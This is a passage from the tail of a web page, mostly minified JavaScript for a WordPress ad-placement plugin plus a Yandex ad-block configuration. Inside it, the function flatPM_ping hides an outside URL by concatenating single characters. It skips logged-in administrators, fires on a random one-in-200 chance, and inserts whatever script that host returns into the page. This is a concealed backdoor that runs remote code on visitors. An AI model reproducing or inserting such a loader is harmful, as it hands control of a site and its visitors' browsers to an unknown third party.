0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"iterable":{"direction":"top_to_bottom","before_after":"before","N":"7","selector":"p","search_all":"false"}},"ID":"14159","html":[{"fst":"<!-- Yandex.RTB R-A-674248-1 -->\n<div id=\"yandex_rtb_R-A-674248-1\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-674248-1',\n blockId: 'R-A-674248-1'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script></div><script type="text/javascript" defer src="https://zdrons.ru/wp-content/cache/wmac/js/wmac_7307a3ef4f9e3c6360b755c2f5e1a383.js"></script></body></html>